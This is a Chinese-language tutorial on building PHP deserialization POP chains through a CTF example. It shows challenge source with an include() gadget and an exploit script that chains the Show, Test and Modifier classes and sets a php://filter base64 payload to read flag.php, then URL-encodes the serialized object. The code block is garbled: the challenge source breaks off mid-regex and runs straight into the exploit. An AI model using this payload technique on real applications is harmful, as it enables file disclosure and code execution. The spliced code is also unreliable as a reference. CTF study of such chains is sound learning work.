如何构造PHP反序列化pop链以实现代码执行？

本文共计831个文字，预计阅读时间需要4分钟。

本章节为家庭带来关于PHP的相关知识，重点介绍了关于pop链构建的相关问题。pop链是一种面向对象编程，常用于构建调用链的方法。下面一起了解一下，希望对大家有所帮助。

本篇文章给大家带来了关于PHP的相关知识，其中主要介绍了关于pop链构造的相关问题，pop链是一种面向属性编程，常用于构造调用链的方法，下面一起来看一下，希望对大家有帮助。

推荐学习：《PHP视频教程》

随着对反序列化学习的不断深入，我们来学习一下pop链的构造。这个pop链对于我这种小白来说还是比较难理解的，再次写下这篇文章总结一下，加深自己对构造pop链的理解。同时也是提供想要入坑的小伙伴们一些理解。

pop链构造

一般的反序列化题目，存在漏洞或者能注入恶意代码的地方在魔术方法中，我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中，通过前面自动调用的方法就失效了，所以我们需要找到普通类与魔术方法之间的联系，理出一种逻辑思路，通过这种逻辑思路来构造一条pop链，从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

pop链简介

它是一种面向属性编程，常用于构造调用链的方法。在题目中的代码里找到一系列能调用的指令，并将这些指令整合成一条有逻辑的能达到恶意攻击效果的代码，就是pop链（个人理解，欢迎师傅们提出意见）在构造pop链中，魔术方法必不可少。下面将通过一个例题来说pop链是怎么构造的，以及具体构造的思路

上题目代码：

Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; function _construct(){ $this->source=$file; } } class Test{ public $p; } $a = new show(); $b = new show(); $c = new test(); $d = new Modifier(); $a->source=$b; $b->str=$c; $c->p= $d; echo urlencode(serialize($a)); ?>

先把用到的类写出来，形成一个框架，再表明类中的变量。分别将用到的类进行实例化，这里为什么要new 两次show（看代码应该能看懂，第一次是实例化show类,第二次是将第一次实例化后的show类中的source=第二次实例化的show）

在我们进行序列化的时候尽量用url编码一下（在这个题中有protected修饰的属性，会有不可见字符）

推荐学习：《PHP视频教程》

以上就是详细介绍php反序列化pop链构造知识点的详细内容，更多请关注自由互联其它相关文章！